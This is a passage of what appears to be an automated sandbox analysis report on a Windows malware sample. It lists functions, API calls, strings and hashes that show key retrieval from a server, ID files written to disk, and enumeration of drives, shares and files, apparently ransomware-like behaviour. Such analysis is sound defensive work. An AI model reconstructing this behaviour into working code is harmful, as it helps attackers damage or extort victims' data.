Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0041EE2F), ref: 00411B1E
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064,?,?,0041EE2F), ref: 00411B72
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B78

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: e9b26cb769ea0bea4beab22a3d6a773b005b8fbb9681272d242edd76dbb4ecf4
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: e9b26cb769ea0bea4beab22a3d6a773b005b8fbb9681272d242edd76dbb4ecf4
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: bd7457aed38bb3c847bfe9639a5798561b301e1dec48bfe63cb5916582480c05
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: bd7457aed38bb3c847bfe9639a5798561b301e1dec48bfe63cb5916582480c05
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00620000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 420923b3457038c229efad47892c1d2d87452850087ae7eb2c83c6acc61aea80
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: 420923b3457038c229efad47892c1d2d87452850087ae7eb2c83c6acc61aea80
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: 60d9f6127d6b11bfac00005b48f04bd8148e51489cf0d6db646d7855f6be01de
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: 60d9f6127d6b11bfac00005b48f04bd8148e51489cf0d6db646d7855f6be01de
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(00000000,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

%username%, xrefs: 0041B283
I:\5d2860c89d774.jpg, xrefs: 0041B32F

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: fd71ece97d69cd2e1e43cefa44c229bd5d58054698acf9877d9dd29cbeed6c8b
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: fd71ece97d69cd2e1e43cefa44c229bd5d58054698acf9877d9dd29cbeed6c8b
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b7d04aaf57e2c38a629a4b8fb192307efab073ba7f3b957db105f9608cfaa5d8
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b7d04aaf57e2c38a629a4b8fb192307efab073ba7f3b957db105f9608cfaa5d8
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00620000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Function 00413A90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413B0A

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Strings

vector<T> too long, xrefs: 00413B00

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID: vector<T> too long
API String ID: 657562460-3788999226
Opcode ID: 0ad4a0ca8fdadbc1a12cf66a996cd1011d67085deb4d362cb70db5a7c32d017b
Instruction ID: 58ba692ce99c870a1dcba0d104e91e6c126768a8e2c2fae69a1ad948a11fc536
Opcode Fuzzy Hash: 0ad4a0ca8fdadbc1a12cf66a996cd1011d67085deb4d362cb70db5a7c32d017b
Instruction Fuzzy Hash: F401F171200705ABD720CFACC09068BFBE8AF80725F20853FEA5583381EBB5E944C784

Function 00454C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454AE0: GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
Part of subcall function 00454AE0: GetFileType.KERNEL32(00000000), ref: 00454B05
Part of subcall function 00454AE0: __vfwprintf_p.LIBCMT ref: 00454B27

_raise.LIBCMT ref: 00454C18

Part of subcall function 0042A12E: __getptd_noexit.LIBCMT ref: 0042A16B

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00454C0C

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction ID: fa72e03f5863b2a05375eef283b674a1c5903e86e1e3734bc2555e426bc738f9
Opcode Fuzzy Hash: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction Fuzzy Hash: 6FD09E795892107FED022791EC07A1E7A51AF9471CF808419F69A041A2D6768534AA5B

Function 0040FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0040FF4D
_wcsstr.LIBCMT ref: 0040FF7E
_wcsstr.LIBCMT ref: 0040FFC4
_wcsstr.LIBCMT ref: 0040FFEF
_wcsstr.LIBCMT ref: 0041001C
FindNextFileW.KERNEL32(?,?), ref: 0041005A
FindClose.KERNEL32(?), ref: 0041006C

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: 7c792f36faf161b3a50a3b1de5739d465233b155000f7204c75d28f0c9594716
Instruction ID: 5ab157793dcca273c0e587975c0a14bd2b460513ddb2d20d8000ed9fb441c990
Opcode Fuzzy Hash: 7c792f36faf161b3a50a3b1de5739d465233b155000f7204c75d28f0c9594716
Instruction Fuzzy Hash: 30519D70D00219DAEF20DF60DD457DEBBB5BF15308F4040BAD40A66291EB7A9AC9CF5A

Function 00423A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__lock_file.LIBCMT ref: 00423A7D

Part of subcall function 00420E53: __lock.LIBCMT ref: 00420E76

__fclose_nolock.LIBCMT ref: 00423A88

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction ID: e9f7363e2c125346a9344b83ccdc7017391740cbbddd1805e0fe7159b8e2b74d
Opcode Fuzzy Hash: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction Fuzzy Hash: 1EF0F631B01724AAD710AF66680275E6AB46F00339F90815FE4A09A1C1CB7C87428F59

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

